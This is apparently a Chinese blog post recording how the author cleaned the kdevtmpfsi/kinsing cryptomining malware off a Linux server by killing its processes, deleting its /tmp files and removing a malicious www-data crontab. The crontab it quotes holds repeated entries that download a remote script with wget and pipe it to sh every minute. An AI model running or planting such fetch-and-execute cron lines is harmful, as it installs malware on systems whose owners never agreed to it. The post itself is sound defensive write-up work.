最近服务器进程总被异常终止,查看资源占用,有个kdevtmpfsi的进程200%cpu占用率,查了一下是个挖矿病毒,记录一下解决方法
首先,用top命令看了看,就是这个玩意 ↓

直接kill是不行的,他还有守护进程,k掉还是会重启的,用它的进程号查一下master进程,这里是10469
systemctl status 10469CGroup: /system.slice/php7.4-fpm.service
           ├─ 9097 php-fpm: pool www
           ├─ 9098 php-fpm: pool www
           ├─ 9172 php-fpm: pool www
           ├─10469 /tmp/kdevtmpfsi
           ├─29251 /tmp/kinsing
           └─29394 php-fpm: master process把这些都杀掉
kill -9 29394 29251 10469/tmp下的文件也删掉
rm -rf /tmp/kdevtmpfsi
rm -rf /tmp/kinsing最后,还要看一下定时任务,不要直接看一下crontab -e没事就完了,因为他可能在别的用户下,再看上面的那个图

user是www-data,我们去/var/spool/cron/crontabs看一下
cd /var/spool/cron/crontabsls -al 一下,看到有www-data
-rw------- 1 root     crontab 1259 Aug  6 13:27 root
-rw------- 1 www-data crontab  679 Aug  1 14:30 www-data看一下这个 www-data
cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Sun Aug  1 14:30:13 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1全部删掉,或者没有其他本来你自己的任务,就直接删掉文件
rm ./www-data最后,再检查一下进程,以刚刚还没删除的防定时任务又开启了病毒进程,如果重新开启,再kill一遍就好了。
viencoding.com版权所有,允许转载,但转载请注明出处和原文链接: http://45.76.225.121/article/305